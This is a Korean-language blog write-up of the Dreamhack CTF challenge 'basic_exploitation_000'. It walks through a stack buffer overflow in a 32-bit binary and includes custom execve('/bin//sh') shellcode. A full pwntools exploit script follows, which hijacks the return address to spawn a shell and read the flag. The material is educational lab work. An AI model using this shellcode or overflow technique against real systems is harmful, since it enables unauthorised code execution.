basic_exploitation_000 문제풀이
1. 코드 확인 (취약점)
1. C 코드 확인
파일을 실행하면 buf 의 주소를 출력하고 입력을 받는 것을 알 수 있다.
$ ./basic_exploitation_000
buf = (0xffffc3a8)
checksec 명령어로 보호기법을 확인해보자.
$ checksec basic_exploitation_000
[*] '/workspaces/codespaces-blank/basic_exploitation_000/basic_exploitation_000'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
32bit 파일이다.
아무런 보호기법도 걸려있지 않은 것을 확인할 수 있다.
이제 C 코드를 확인해보자
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
char buf[0x80];
buf 가 0x80 (128) 의 크기인 것을 알 수 있다.
scanf("%141s", buf);
하지만 scanf 로 141 만큼 입력받으므로 BOF 가 발생한다.
2. 어셈블리 확인
gdb 를 이용해서 어셈블리를 확인해보자.
0x080485d9 <+0>: push ebp
0x080485da <+1>: mov ebp,esp ; 프롤로그
0x080485dc <+3>: add esp,0xffffff80
0x080485df <+6>: call 0x8048592 <initialize> ; initialize 호출
0x080485e4 <+11>: lea eax,[ebp-0x80] ; buf[ebp-0x80]
0x080485e7 <+14>: push eax
0x080485e8 <+15>: push 0x8048699 ; "buf = (%p)\n"
0x080485ed <+20>: call 0x80483f0 <printf@plt> ; printf("buf = (%p)\n", buf)
0x080485f2 <+25>: add esp,0x8
0x080485f5 <+28>: lea eax,[ebp-0x80] ; buf[ebp-0x80]
0x080485f8 <+31>: push eax
0x080485f9 <+32>: push 0x80486a5 ; %141s
0x080485fe <+37>: call 0x8048460 <__isoc99_scanf@plt> ; scanf("%141s", buf)
0x08048603 <+42>: add esp,0x8
0x08048606 <+45>: mov eax,0x0
0x0804860b <+50>: leave ;에필로그
0x0804860c <+51>: ret
buf 의 크기는 ebp-0x80 이므로 0x80 인 것을 알 수 있다.
2. 페이로드 (Payload) 구성
1. 스택 프레임 구조
buf 크기는 0x80 (128) 이다.
SFP 는 32bit 이므로 0x4 크기이다.
buf 의 시작에 shellcode 를 집어넣고
RET 전까지 쓰레기값 (dummy) 로 채운다
그 다음 RET 에 buf 의 주소를 넣으면
buf 에 집어넣은 shellcode 가 실행되면서 셸을 획득할 수 있을 것이다.
2. shellcode 작성
이전 글에서 작성한 shellcode 를 수정해서 사용할거다.
section .text
global _start
_start:
xor eax, eax ; eax 초기화
push eax ; NULL 문자 추가
push 0x68732f2f ; //sh
push 0x6e69622f ; /bin
mov ebx, esp ; ebx = /bin/sh
xor ecx, ecx ; ecx 초기화
xor edx, edx ; edx 초기화
mov al, 0xb ; execve
int 0x80 ; execve("/bin//sh", 0, 0)
어셈블리 코드이다
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80
shellcode 이다
scanf 로 입력을 받기 때문에 scanf 가 문자열의 끝을 인식하는 문자인
\x09, \x0a, \x0b, \x0c, \x0d, \x20 는 들어가면 안된다.
\x09 : \xt
\x0a : \n
\x0b : \v
\x0c : \f
\x0d : \r
\x20 : 스페이스
위의 shellcode 를 objdump 로 확인해보자.
8049000: 31 c0 xor eax,eax
8049002: 50 push eax
8049003: 68 2f 2f 73 68 push 0x68732f2f
8049008: 68 2f 62 69 6e push 0x6e69622f
804900d: 89 e3 mov ebx,esp
804900f: 31 c9 xor ecx,ecx
8049011: 31 d2 xor edx,edx
8049013: b0 0b mov al,0xb
8049015: cd 80 int 0x80
mov al, 0xb 부분에서 \x0b 가 들어가게 되어 수정을 해줘야 한다
section .text
global _start
_start:
xor eax, eax ; eax 초기화
push eax ; NULL 문자 추가
push 0x68732f2f ; //sh
push 0x6e69622f ; /bin
mov ebx, esp ; ebx = /bin/sh
xor ecx, ecx ; ecx 초기화
xor edx, edx ; edx 초기화
mov al, 0x8 ; 0x9, 0xa, 0xb 는 scanf 함수에서 문자열의 끝으로 인식
inc eax ; 0x9
inc eax ; 0xa
inc eax ; 0xb
int 0x80 ; execve("/bin//sh", 0, 0)
\x0b, \x0a, \x09 다 사용할 수 없기 때문에
\x08 을 al 에 저장하고
inc eax 명령으로 1씩 더해주어 0xb 를 만들었다.
shellcode 로 변환하면 다음과 같다
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80
26 Byte 의 shellcode 이다
3. 페이로드 (Payload)
1. pwntools 코드 작성
from pwn import *
context.log_level = 'debug'
context(arch='i386', os='linux')
p = remote('host3.dreamhack.games', 12520)
p.recvuntil('0x')
buf_addr = int(p.recvn(8), 16) # buf 에 shellcode를 넣고 RET 주소를 buf 주소로 덮어씌움
shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80' #26 bytes
padding = 128 - len(shellcode)
payload = shellcode # buf (sehllcode)
payload += b'A' * padding # buf (남는 부분)
payload += b'B' * 4 # SFP
payload += p32(buf_addr) # RET
p.sendafter(')', payload)
p.interactive()
pwntools 을 이용하여 코드를 작성하고 실행하면
$ python3 ./payload.py
/workspaces/codespaces-blank/basic_exploitation_000/./payload.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil('0x')
/home/codespace/.python/current/lib/python3.10/site-packages/pwnlib/tubes/tube.py:831: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
$ ls
$ ls
basic_exploitation_000
flag
run.sh
$ cat flag
DH{-----------------------------}
플래그를 획득할 수 있다
'War Game > Pwnable' 카테고리의 다른 글
[Dreamhack] Return to Libraray (1) | 2024.07.21 |
---|---|
[sschall] baby got overwrite (0) | 2024.07.01 |
[Dreamhack] ssp_001 (0) | 2024.05.05 |
[Dreamhack] Return to Shellcode (0) | 2024.05.04 |
[Dreamhack] basic_exploitation_001 (0) | 2024.04.30 |